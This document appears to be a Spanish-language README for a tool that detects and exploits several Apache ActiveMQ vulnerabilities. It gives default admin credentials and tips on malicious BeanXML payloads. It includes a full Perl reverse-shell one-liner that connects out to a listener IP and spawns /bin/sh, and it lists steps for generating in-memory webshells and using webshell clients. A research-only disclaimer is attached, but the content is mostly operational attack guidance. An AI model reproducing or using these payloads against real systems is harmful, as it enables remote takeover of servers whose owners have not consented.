
Herramienta de explotación integral de vulnerabilidades de Apache ActiveMQ (CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588)
Soporta la detección y explotación de vulnerabilidades de Apache ActiveMQ: CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588

[!WARNING] Esta herramienta es solo para fines de investigación y aprendizaje de seguridad. El usuario asume toda la responsabilidad legal y relacionada derivada del uso de esta herramienta. Asegúrese de que su comportamiento cumpla con las leyes y regulaciones locales. El autor no asume ninguna responsabilidad. Si no acepta, no use esta herramienta.
Inicio con JDK8, puerto predeterminado de Openwire 61616, a veces el entorno objetivo puede no tenerlo abierto. Las credenciales predeterminadas de Apache ActiveMQ son admin:admin. El panel de configuración de BeanXML puede generar un XML malicioso para ejecutar comandos correspondientes. Si tiene problemas, no dude en abrir un Issue.
Durante la detección de vulnerabilidades, puede configurar la dirección del servidor XML malicioso como dnslog. Si se recibe una solicitud, indica que pueden existir CVE-2023-46604, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588.
java-chains genera datos de deserialización, se puede usar URLDNS para verificar la vulnerabilidad.
Al obtener una reverse shell, es mejor usar perl, ya que sh y bash a veces no funcionan.
/usr/bin/perl -e 'use Socket;$i="192.168.239.129";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Al escribir un webshell personalizado, la escritura de 'Bing Xie' reporta 500, mientras que 'Godzilla' funciona correctamente. Al conectarse con la herramienta, asegúrese de agregar el encabezado de autenticación.
A partir de la versión 1.4, ya no se integra el módulo de generación de memoria shell MemShellParty. Por un lado, el fatjar es voluminoso; por otro, el método de decodificación base64 utilizado por SpringBeanXmlClassLoader no es universal en diferentes versiones de Java, lo que obliga a la herramienta a reinventar la rueda. Los colegas que necesiten memoria shell pueden consultar el siguiente proceso de generación de XML:
Primero, genere la cadena base64 de la memoria shell correspondiente en MemShellParty https://party.mem.mk/ui

Luego vaya a java-chains, busque Generate-OtherPayload y seleccione 'bytecode personalizado'

Seleccione el método de decodificación base64 según la versión de JDK. Por defecto es el método decodeFromString, pero el campo de tiro CVE-2026-34197 en vulhub requiere seleccionar java.util.Base64

Finalmente, complete la cadena Base64 de la memoria shell y haga clic en generar.
Para tipos Filter, Listener o Servlet, en la dirección de conexión de la memoria shell se debe agregar la ruta /admin/, /api/, y el encabezado de autenticación. El handler no requiere ruta ni campo de encabezado de autenticación.
Agradecimientos